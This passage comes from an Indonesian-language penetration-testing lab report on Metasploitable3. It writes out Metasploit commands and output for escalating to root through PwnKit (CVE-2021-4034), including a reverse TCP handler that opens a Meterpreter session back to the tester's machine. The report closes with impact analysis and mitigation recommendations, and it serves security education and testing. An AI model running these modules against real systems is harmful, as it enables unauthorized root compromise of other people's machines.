[*] 192.168.56.114 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/boba_fett/.bashrc
[*] 192.168.56.114 - exploit/linux/persistence/docker_image: The service is running, but could not be validated. docker app is installed and accessible
[*] 192.168.56.114 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.56.114 - exploit/multi/persistence/ssh_key: The target appears to be vulnerable. Likely vulnerable
[*] Running check method for exploit 84 / 84
[*] 192.168.56.114 - Valid modules for session 3:

# Name Potentially Vulnerable? Check Result
- - - - -
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. pkexec appears to be vulnerable
2 exploit/linux/local/docker_daemon_privilege_escalation Yes The target is vulnerable. Docker daemon is accessible
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. Target appears to be vulnerable
4 exploit/linux/local/overlayfs_priv_esc Yes The target appears to be vulnerable. Target appears to be vulnerable
5 exploit/linux/local/pkexec Yes The service is running, but could not be validated. pkexec version 0.105 is installed but may not be vulnerable
6 exploit/linux/local/su_login Yes The target appears to be vulnerable. Target appears to be vulnerable
7 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/boba_fett/.bashrc
8 exploit/linux/persistence/docker_image Yes The service is running, but could not be validated. docker app is installed and accessible
9 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
10 exploit/multi/persistence/ssh_key Yes The target appears to be vulnerable. Likely vulnerable
11 exploit/linux/local/abrt_raceabrt_priv_esc No The target is not exploitable. System is not configured to use ABRT for crash reporting
12 exploit/linux/local/abrt_sosreport_priv_esc No The target is not exploitable. System is not configured to use ABRT for crash reporting
13 exploit/linux/local/af_packet_chocolate_root_priv_esc No The target is not exploitable. Linux kernel 3.10.0-24-generic #46-Ubuntu is not vulnerable
```

Gambar 6.3.3 Privilege Escalation Enumeration

Berdasarkan hasil eksekusi, modul local_exploit_suggester menampilkan beberapa kandidat kerentanan lokal yang berpotensi digunakan untuk proses peningkatan hak akses. Hasil ini kemudian dianalisis lebih lanjut untuk memilih kerentanan yang paling relevan dengan kondisi sistem target.

Analisis :

1. Modul local_exploit_suggester berhasil dijalankan terhadap sesi Meterpreter yang aktif.
2. Hasil enumerasi menunjukkan adanya beberapa kandidat kerentanan lokal pada sistem target.

3. Kandidat kerentanan yang ditemukan perlu dianalisis berdasarkan kesesuaian sistem operasi, arsitektur, versi komponen, dan tingkat keberhasilan exploit.
4. Hasil enumerasi ini menjadi dasar untuk menentukan metode validasi *privilege escalation* pada tahap berikutnya.
5. Tahap ini menunjukkan pentingnya proses enumerasi setelah akses awal, karena akses pengguna biasa masih dapat berkembang menjadi risiko yang lebih besar apabila sistem memiliki kerentanan lokal.

6.3.4 Validasi Privilege Escalation

Berdasarkan hasil enumerasi pada tahap sebelumnya, ditemukan beberapa kandidat kerentanan lokal yang berpotensi digunakan untuk peningkatan hak akses. Salah satu kerentanan yang relevan dengan kondisi sistem target adalah **PwnKit (CVE-2021-4034)**, yaitu kerentanan pada komponen pkexec yang dapat memungkinkan pengguna lokal memperoleh hak akses yang lebih tinggi pada sistem yang rentan. Kerentanan PwnKit dipilih sebagai fokus validasi karena beberapa pertimbangan berikut:

1. Sesuai dengan kondisi sistem target yang masih menggunakan komponen rentan.
2. Termasuk dalam kategori *local privilege escalation*.
3. Memiliki tingkat risiko tinggi apabila berhasil dimanfaatkan.
4. Relevan untuk menunjukkan dampak lanjutan setelah akses awal diperoleh.
5. Dapat menggambarkan bagaimana akses pengguna biasa dapat berkembang menjadi risiko kompromi sistem yang lebih besar.

Perintah yang digunakan dalam lingkungan laboratorium adalah sebagai berikut:

```
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set SESSION 3
set LHOST 192.168.56.116
set LPORT 4444
show options
run
```

Keterangan parameter :

Parameter / Perintah	Keterangan
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec	Memuat modul yang digunakan untuk validasi kerentanan PwnKit pada lingkungan laboratorium.
set SESSION 3	Menentukan sesi Meterpreter aktif yang akan digunakan sebagai dasar pengujian.

set LHOST 192.168.56.116	Menentukan alamat IP mesin penguji yang menerima koneksi balik.
set LPORT 4444	Menentukan port pada mesin penguji untuk menerima koneksi.
show options	Menampilkan konfigurasi parameter sebelum modul dijalankan.
run	Menjalankan modul yang telah dikonfigurasi.

Setelah konfigurasi diverifikasi, modul dijalankan untuk melakukan validasi terhadap potensi peningkatan hak akses pada sistem target. Proses ini dilakukan sepenuhnya pada lingkungan laboratorium yang terkontrol dan bertujuan untuk memahami dampak keamanan dari kombinasi akses awal dan kerentanan lokal.

Output :

```
msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.56.116:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Verify cleanup of /tmp/.zdaauloj
[+] The target is vulnerable. pkexec appears to be vulnerable
[*] Writing '/tmp/.cybgaurug/arvicghyh/arvicghyh.so' (540 bytes) ...
[*] Verify cleanup of /tmp/.cybgaurug
[*] Sending stage (3090404 bytes) to 192.168.56.114
[+] Deleted /tmp/.cybgaurug/arvicghyh/arvicghyh.so
[+] Deleted /tmp/.cybgaurug/.ogkarqygcza
[+] Deleted /tmp/.cybgaurug
[*] Meterpreter session 3 opened (192.168.56.116:4444 -> 192.168.56.114:55544) at 2026-07-08 04:13:50 -0400
```

Analisis :

1. Modul PwnKit berhasil dimuat pada Metasploit Framework.
2. Parameter sesi, alamat IP mesin penguji, dan port koneksi berhasil dikonfigurasi.
3. Validasi dilakukan terhadap sesi aktif yang sebelumnya diperoleh melalui tahap *initial access*.
4. Hasil pengujian menunjukkan bahwa kerentanan lokal dapat menjadi jalur peningkatan hak akses apabila sistem belum diperbarui.
5. Tahap ini memperlihatkan bahwa akses awal dengan hak pengguna biasa tetap memiliki risiko tinggi apabila sistem target memiliki kerentanan lokal yang belum dimitigasi.

6.3.5 Verifikasi Root Access

Setelah proses validasi *privilege escalation* dilakukan, tahap berikutnya adalah melakukan verifikasi terhadap hak akses yang diperoleh pada sesi aktif. Verifikasi ini bertujuan untuk memastikan apakah proses peningkatan hak akses berhasil dan apakah sesi yang diperoleh telah berjalan dengan hak akses administrator sistem atau *root*.

Perintah yang digunakan adalah sebagai berikut:

```
sessions -i 3
getuid
sysinfo
```

Keterangan perintah:

Perintah	Keterangan
sessions -i 3	Mengakses sesi aktif dengan ID sesi tertentu pada Metasploit Framework.
getuid	Menampilkan identitas pengguna yang sedang menjalankan sesi pada sistem target.
sysinfo	Menampilkan informasi sistem target, seperti sistem operasi, arsitektur, dan informasi host.

Output :

```
msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable3-ubl404
OS            : Ubuntu 14.04 (Linux 3.13.0-24-generic)
Architecture : x64
BuildTuple    : x86_64-linux-musl
Meterpreter   : x64/linux
meterpreter >
```

Gambar 6.3.5 Verifikasi Root Access

Berdasarkan hasil verifikasi, sesi yang aktif menunjukkan bahwa hak akses telah meningkat menjadi *root*. Hal ini menunjukkan bahwa kerentanan lokal yang diuji berhasil dimanfaatkan dalam lingkungan laboratorium untuk memperoleh hak akses administratif pada sistem target.

Analisis :

1. Sesi aktif berhasil diakses melalui Metasploit Framework.
2. Perintah *getuid* digunakan untuk memverifikasi identitas pengguna pada sesi aktif.
3. Hasil verifikasi menunjukkan bahwa hak akses telah meningkat dari pengguna biasa menjadi *root*.
4. Perintah *sysinfo* digunakan untuk memastikan bahwa sesi tersebut berjalan pada sistem target yang sama.
5. Keberhasilan peningkatan hak akses menunjukkan bahwa akses awal yang terbatas tetap dapat berkembang menjadi risiko kompromi sistem secara penuh apabila sistem memiliki kerentanan lokal yang belum dimitigasi.

6.4 Attack Chain Summary

Berikut adalah ringkasan alur pengujian atau *attack chain* yang dilakukan pada lingkungan laboratorium Metasploitable3.

Tabel 6.4 Attack Chain Summary

No	Tahap	Tool / Teknik	Kerentanan	Jenis Akses / Aktivitas	Hasil Akhir
1	<i>Reconnaissance</i>	Nmap	-	<i>Network scanning</i>	Layanan UnrealIRCd teridentifikasi aktif pada port 6697.
2	<i>Initial Access</i>	Metasploit Framework	CVE-2010-2075	Validasi kerentanan <i>remote command execution</i>	Sesi <i>command shell</i> diperoleh sebagai pengguna <i>boba_fett</i> .
3	Peningkatan Sesi	<i>shell_to_meterpreter</i>	-	Konversi sesi <i>shell</i> ke Meterpreter	Sesi Meterpreter berhasil dibuat untuk mendukung enumerasi lanjutan.
4	Enumerasi Lokal	<i>local_exploit_suggester</i>	-	Analisis potensi <i>privilege escalation</i>	Beberapa kandidat kerentanan lokal berhasil diidentifikasi.
5	<i>Privilege Escalation</i>	Modul PwnKit	CVE-2021-4034	Validasi kerentanan lokal pada <i>pkexec</i>	Hak akses meningkat menjadi <i>root</i> pada lingkungan laboratorium.

Berdasarkan ringkasan tersebut, pengujian menunjukkan bahwa layanan jaringan yang rentan dapat menjadi titik awal akses ke sistem. Setelah akses awal diperoleh, proses enumerasi lanjutan dapat mengidentifikasi kerentanan lokal yang berpotensi meningkatkan hak akses. Kombinasi antara kerentanan layanan jaringan dan kerentanan lokal menunjukkan pentingnya penerapan *patch management*, pembatasan layanan, serta pemantauan keamanan secara berkala.

7 Analisis Dampak

Berdasarkan hasil pengujian, kerentanan pada layanan UnrealIRCd 3.2.8.1 dapat memberikan dampak keamanan yang signifikan apabila ditemukan pada lingkungan produksi. Kerentanan tersebut berpotensi menjadi titik awal akses tidak sah ke sistem, terutama apabila layanan yang rentan dapat diakses dari jaringan internal maupun eksternal.

Akses awal yang diperoleh melalui layanan rentan dapat digunakan untuk melakukan enumerasi lanjutan terhadap sistem. Walaupun akses awal hanya berada pada level pengguna biasa, kondisi ini tetap berisiko karena penyerang dapat mencari kelemahan lain pada sistem, seperti kesalahan konfigurasi, paket yang belum diperbarui, atau kerentanan lokal yang memungkinkan peningkatan hak akses.

Dalam studi kasus ini, kombinasi antara kerentanan UnrealIRCd dan kerentanan lokal PwnKit menunjukkan bahwa sistem yang tidak diperbarui dapat mengalami peningkatan risiko dari akses terbatas menjadi akses administratif. Apabila skenario serupa terjadi pada sistem produksi, dampaknya dapat meliputi gangguan operasional, kebocoran data, perubahan konfigurasi sistem, hingga kompromi sistem secara menyeluruh.

7.1 Ringkasan Temuan dan Dampak

Berdasarkan hasil pengujian, beberapa temuan utama dan dampaknya dapat dirangkum pada tabel berikut.

Tabel 7.1 Ringkasan Temuan dan Dampak

Aspek	Status	Tingkat Risiko
<i>Remote Command Execution</i>	Terkonfirmasi	Kritis
Akses Jarak Jauh Tanpa Autentikasi	Terkonfirmasi	Kritis
<i>Privilege Escalation</i>	Terkonfirmasi	Kritis
Kerahasiaan Data	Berpotensi Terdampak	Tinggi
Integritas Sistem	Berpotensi Terdampak	Tinggi
Ketersediaan Sistem	Berpotensi Terdampak	Tinggi

Tabel di atas menunjukkan bahwa kerentanan pada layanan UnrealIRCd dapat memberikan akses awal ke sistem tanpa autentikasi. Risiko menjadi lebih besar ketika akses awal tersebut dikombinasikan dengan kerentanan lokal seperti PwnKit, karena dapat

memungkinkan peningkatan hak akses hingga tingkat administratif pada lingkungan laboratorium.

Kondisi tersebut berpotensi memengaruhi kerahasiaan, integritas, dan ketersediaan sistem apabila terjadi pada lingkungan produksi. Oleh karena itu, mitigasi perlu dilakukan secara berlapis melalui pembaruan sistem, pembatasan akses layanan, segmentasi jaringan, penguatan konfigurasi, serta pemantauan keamanan secara berkala.

8 Saran dan Rekomendasi

Untuk meningkatkan postur keamanan dan mencegah eksploitasi serupa, diperlukan langkah mitigasi yang mencakup pembaruan sistem, pembatasan layanan, penguatan konfigurasi, serta pemantauan keamanan secara berkala. Rekomendasi berikut disusun berdasarkan tingkat prioritas penanganan.

Table 8 Rekomendasi Mitigasi

No	Prioritas	Rekomendasi
1	Segera	Memperbarui UnrealIRCd ke versi terbaru atau menonaktifkan layanan IRC apabila tidak digunakan.
2	Segera	Memperbarui paket Polkit/pkexec untuk memitigasi kerentanan PwnKit CVE-2021-4034.
3	Segera	Membatasi akses ke port IRC seperti 6667 dan 6697 hanya dari alamat IP atau segmen jaringan yang dipercaya.
4	Jangka Pendek	Menerapkan aturan <i>firewall</i> yang lebih ketat terhadap layanan jaringan.
5	Jangka Pendek	Melakukan <i>monitoring</i> terhadap aktivitas mencurigakan pada layanan dan log sistem.
6	Jangka Pendek	Menerapkan prinsip <i>least privilege</i> pada akun pengguna dan layanan.
7	Jangka Menengah	Melakukan <i>security hardening</i> pada sistem operasi dan layanan.
8	Jangka Menengah	Menjalankan proses <i>patch management</i> secara berkala.
9	Jangka Menengah	Melakukan <i>vulnerability scanning</i> secara rutin.
10	Berkelanjutan	Menyusun program manajemen kerentanan dan audit keamanan secara berkala.

9 Kesimpulan

Berdasarkan hasil pengujian yang dilakukan pada lingkungan laboratorium Metasploitable3, dapat disimpulkan beberapa hal sebagai berikut:

1. **Layanan UnrealIRCd 3.2.8.1 berhasil diidentifikasi sebagai layanan rentan.** Tahap *reconnaissance* menunjukkan bahwa layanan UnrealIRCd berjalan aktif pada port 6697 dan menjadi fokus utama dalam proses validasi kerentanan.
2. **Kerentanan pada UnrealIRCd dapat menjadi titik awal akses ke sistem.** Pengujian menunjukkan bahwa kerentanan UnrealIRCd dapat dimanfaatkan dalam lingkungan laboratorium untuk memperoleh akses awal dengan hak pengguna biasa.
3. **Akses awal tetap memiliki risiko keamanan yang signifikan.** Meskipun akses awal tidak langsung memberikan hak akses administratif, kondisi tersebut tetap berisiko karena dapat digunakan untuk melakukan enumerasi lanjutan terhadap sistem.
4. **Kerentanan lokal dapat meningkatkan dampak serangan.** Hasil enumerasi menunjukkan adanya potensi peningkatan hak akses melalui kerentanan lokal PwnKit CVE-2021-4034. Hal ini menunjukkan bahwa sistem yang belum diperbarui dapat mengalami peningkatan risiko dari akses pengguna biasa menjadi hak akses *root*.
5. **Kombinasi kerentanan dapat membentuk *attack chain* yang serius.** Studi kasus ini menunjukkan bahwa kerentanan pada layanan jaringan dan kerentanan lokal dapat saling berkaitan sehingga menghasilkan kompromi sistem yang lebih luas dalam lingkungan laboratorium.
6. **Mitigasi berlapis sangat diperlukan.** Untuk mengurangi risiko serupa, diperlukan penerapan *patch management*, *security hardening*, pembatasan akses layanan, segmentasi jaringan, serta pemantauan keamanan secara berkala.
7. **Dokumentasi pengujian membantu proses evaluasi keamanan.** Laporan ini menunjukkan pentingnya dokumentasi yang sistematis dalam aktivitas *penetration testing*, tidak hanya untuk mencatat hasil teknis, tetapi juga untuk menyusun analisis dampak dan rekomendasi mitigasi.

Secara keseluruhan, pengujian ini memberikan pemahaman praktis mengenai bagaimana layanan yang rentan dapat menjadi titik awal serangan dan bagaimana kelemahan lain pada sistem dapat memperbesar dampaknya. Oleh karena itu, evaluasi keamanan secara berkala menjadi bagian penting dalam menjaga keamanan sistem informasi.

10 Referensi

CVE Program. (n.d.). *CVE Record: CVE-2010-2075*. CVE.org. Retrieved July 10, 2026, from <https://www.cve.org/CVERecord?id=CVE-2010-2075>

CVE Program. (n.d.). *CVE Record: CVE-2021-4034*. CVE.org. Retrieved July 10, 2026, from <https://www.cve.org/CVERecord?id=CVE-2021-4034>

National Institute of Standards and Technology. (n.d.). *CVE-2010-2075 Detail*. National Vulnerability Database (NVD). Retrieved July 10, 2026, from <https://nvd.nist.gov/vuln/detail/CVE-2010-2075>

National Institute of Standards and Technology. (n.d.). *CVE-2021-4034 Detail*. National Vulnerability Database (NVD). Retrieved July 10, 2026, from <https://nvd.nist.gov/vuln/detail/CVE-2021-4034>

National Institute of Standards and Technology. (n.d.). *The NIST Cybersecurity Framework*. NIST. Retrieved July 10, 2026, from <https://www.nist.gov/cyberframework>

Offensive Security. (n.d.). *Metasploit unleashed - Official Metasploit framework training*. Retrieved July 10, 2026, from <https://www.offensive-security.com/metasploit-unleashed/>

OWASP Foundation. (n.d.). *Web security testing guide*. OWASP. Retrieved July 10, 2026, from <https://owasp.org/www-project-web-security-testing-guide/>

Rapid7. (n.d.). *Metasploitable3 official repository*. GitHub. Retrieved July 10, 2026, from <https://github.com/rapid7/metasploitable3>

Rapid7. (n.d.). *Meterpreter*. Metasploit Documentation. Retrieved July 10, 2026, from <https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/>

Rapid7. (n.d.). *Setting up a vulnerable target*. Metasploit Documentation. Retrieved July 10, 2026, from <https://docs.rapid7.com/metasploit/setting-up-a-vulnerable-target/>